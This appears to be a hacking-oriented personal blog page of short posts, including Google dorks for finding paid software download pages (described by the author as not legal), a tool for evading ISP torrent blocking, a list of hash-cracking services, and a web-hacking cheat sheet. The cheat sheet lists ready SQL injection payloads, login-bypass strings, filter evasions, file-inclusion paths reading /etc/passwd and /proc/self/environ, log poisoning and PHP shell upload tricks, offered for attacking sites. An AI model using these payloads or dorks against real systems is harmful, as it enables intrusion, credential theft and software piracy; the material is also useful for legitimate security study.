Watch ASCII Star Wars Through Telnet

Just thought to share this cool link that features a star wars in the telnet. Telnet to the remote server and you'll be shown the star wars story.

Open your terminal and type the following:

telnet towel.blinkenlights.nl

And, the online web version is available at HERE


Read more...

Offline version of UnicodeNepali.Com V3 Converter

Sometimes, we might need to use unicodenepali.com converter and we might not have access to the internet. But, by just saving the complete webpage of the converter, you could get the offline version of the converter. Now you can take the downloaded html and its related files anywhere and open the html file to run the converter offline.

Even better, if you are windows user, you could save .hta version from Internet explorer and could make a single file of the converter in your own computer.

Go to the URL: http://www.unicodenepali.com/v3/convert.html

and press Ctrl+S to save the complete webpage. See the screenshot below:

Hope you find this useful.

Read more...

How to get things for free in internet [Google dorks]

Well its been a few days I haven't posted. Today I have come with an interesting post that will help you get things for free in internet. Of course, it is not legal but it works in many cases but not always. And many of the results might be some craps.

Following are the list of the google dorks that will help you get some of the commercial softwares for free. Google dorks are the keyword phrases that can be searched with the google search engine.

intitle:"Thank You For Your Order" intext:Click Here to Download
intitle:"Thank You For Your Purchase" intext:Click Here to Download
inurl:/thankyou*.html intitle:Thank you for your order! intext:Click Here to Download
intitle:"Thank You For Your Order!" intext:download
inurl:thanks intext:"Thank You For Your Order!" "Click Here" filetype:html

The above dorks are just the examples. You can modify them and do some experiments on your own to search for specific domains, etc. I hope this is useful. Thanks :)

Read more...

Torrent 2 Text for bypassing .torrent filter by ISPs

I have just completed this pretty simple script to let you download the torrent files as text files. I wrote it because ISA server was actually blocking me to download the .torrent files so I quickly wrote this and now I am putting it online.

To use this little script, all you have to do is copy the link location of the .torrent file and paste in the textbox.

Torrent to text tool

Have fun :)

Read more...

Download.com.np : A nepali download portal

I came across this nepali download portal Download.com.np which seems to be powered by MOS.

Mercantile communications, a leading Kathmandu based IT Company, developed a useful website download.com.np for most of the download users who frequently requires different kinds of freeware/shareware programs in their day to day professional life. Download.com.np aims to be a window for collection of the different Freeware and shareware programs with easier and faster downloading from the local network.


Visit the site

Happy downloadings, Nepali users :)

Read more...

ieHTTPHeaders : An IE alternative for livehttpheaders add-on

Well IE sucks but still if you need to use it and require some http header viewing addon like livehttpheaders for mozilla firefox, then there exists a tool called ieHTTPHeaders serving the same purpose.

I won't write much about it, just visit the official webpage for more information and download links:
Official webpage of ieHTTPheaders
Thanks.

Read more...

List of online MD5 [+ other] hash crackers

Here is the list of some of the online MD5 hash cracking services you might find useful. Some of them offer cracking of other hashes like SHA1, LM, MySQL, etc.

HashKiller.com, My personal favorite
Md5decrypter.co.uk, Another service I try
md5.rednoize.com
md5cracker.com, performs lookup in different online hash crackers
Passcracking.com
cmd5.org
Plain-Text.info
lmcrack.com
HashCrack.com

There are more other online md5 crackers but these would be enough to crack the hashes, if not they are unlikely any other online crackers would crack them (except the dedicated and paid ones). I hope this helps you.

EDIT: Few more online crackers added:
HashChecker.de
Md5This.com
TMTO.Org

Read more...

Web Hacking for Beginners and Intermediates

This is the article I posted on the secworm contest and I am now posting this in my blog. Its not that well written due to the lack of time but still will help some of you out there.

Hi all, I am Deadly Ghos7 aka sam207 and this is my article as the entry for the secworm contest #1. First, I would like to apologize for any kind of grammar mistakes in this article as there would be surely lots of grammatical errors in this article.

This article is not an article about teaching the basics of any web hacking techniques. Instead, it is the document of tips and tricks that the beginners and intermediates can make use of in order to attack the web applications on certain scenarios. I assume that you know the basics of the web hacking techniques or you could google for learning the basics. I'll be covering the tricks on different web hacking methods such as SQL injection(MySQL basically), insecure file inclusions, insecure file upload, etc. As already stated, the article won't be about basic but rather would present you few useful tricks that might be useful in the course of web-app pentesting.

SQL Injection:
Comments: - - , /* , #
MySQL version: SELECT @@version

Current SQL User: SELECT user()
SELECT system_user()

Current Database: SELECT database()

MySQL Data directory(location of MySQL data files): SELECT @@datadir

List all MySQL users: SELECT host, user, password FROM mysql.user

Bypass Quotes: SELECT pass FROM users WHERE user=0x2773616d32303727 --hex
SELECT pass FROM users WHERE user=char

Load local file: SELECT LOAD_FILE('/etc/passwd') --We can use quote bypassing here.

Create File with SQLi: SELECT * FROM table INTO dumpfile '/tmp/dump'
SELECT password FROM user INTO OUTFILE '/home/samar/www/dump.txt'
quote bypassing seems not working here. The path can't be encoded using the quote or char so we can't bypass the quote in this case.

Using limit: union all select null,table_name,null from information_schema.tables LIMIT 20,1
(useful when only one column is seen while doing SQLi)

unhex(hex()): union all select 1,concat(unhex(hex(username,0x3a,password))) from tblusers--

Bypassing filters:
uNiOn aLl SeLeCT 1,2 FrOm tbluser
/*!union*/ all select 1,2 from tbluser
union(select(null),table_name(from)(information_schema.tables)) --Bypassing the whitespace filter
0%a0union%a0select%091

XSS with SQLi (SIXSS): union all select 1,<script>alert(123)</script>

Login bypass:
'=' in both username and password field
' or 1='1'--
' or 1='1'/*
' or 1='1'#
' or 1='1';
In the username field and random password, it would bypass the vulnerable authentication login.

' /*or*/ 1='1 –Bypasses or filter


File Inclusion:
-> A sample vulnerable piece of code would be something like below: test.php


including file in the same directory
test.php?page=.htaccess
test.php?page=.htpasswd

path traversal to include files in other directories
test.php?page=../../../../../../../../../etc/passwd

Nullbyte injection
test.php?page=../../../../../etc/passwd

Directory listing with nullbyte injection only for FreeBSD (afaik) and magic quotes off
test.php?page=../../../../home/

PHP stream/wrappers inclusion
test.php?page=php://filter/convert.base64-encode/resource=config.php

Path Truncation inclusion
test.php?page=../../../../../../etc/passwd.\.\.\.\.\.\.\.\.\.\.\ …
With more details on this, http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/
Apache Log injection
test.php?page=../logs/access.log
You'll have to find the location of the log in order to include it. Also you should try including everything you can such as the session files, uploaded files, etc. For the apache log injection, you'll have to telnet and send the GET request for arbitrary PHP code like Get / Few apache log locations to try are as below:

Useragent
test.php?page=../../../../../../../proc/self/environ
Set your useragent to some php code and it will get executed if you are able to include the /proc/self/environ file.

Check existence of folder:
test.php?page=../../../../../folder/you/guess/../../../../../etc/passwd
Here the trick is basically using the path traversal method.

File upload:
Nullbyte injection: If only valid extensions(such as jpg, gif) are allowed, we can rename our shell to shell.php.jpg which will bypass the file upload security check.

PHP code within image: Sometimes the uploads are not checked for the file extension but for dimensions of images. This again can be bypassed by injecting PHP codes in the valid images and renaming them to .php file. The tool named edjpgcom can be used in order to inject the PHP code as JPEG comments in the images.

Header bypass: Again sometimes the developer just relies on the header information that contains the type of the file like “image/jpeg” for jpeg image. But since this is passed from client side, it can be modified using the tools such as tamper data or live http headers.

Also, the file upload feature can be exploited in union with the file inclusion vulnerability. If you have a site vulnerable to the file inclusion but not vulnerable to the insecure file upload, you can upload valid image as said in second method here and then you can include that file with the file inclusion vulnerable PHP script.

As said earlier, this article is not about giving you every steps of how to exploit the web vulnerabilities.



Read more...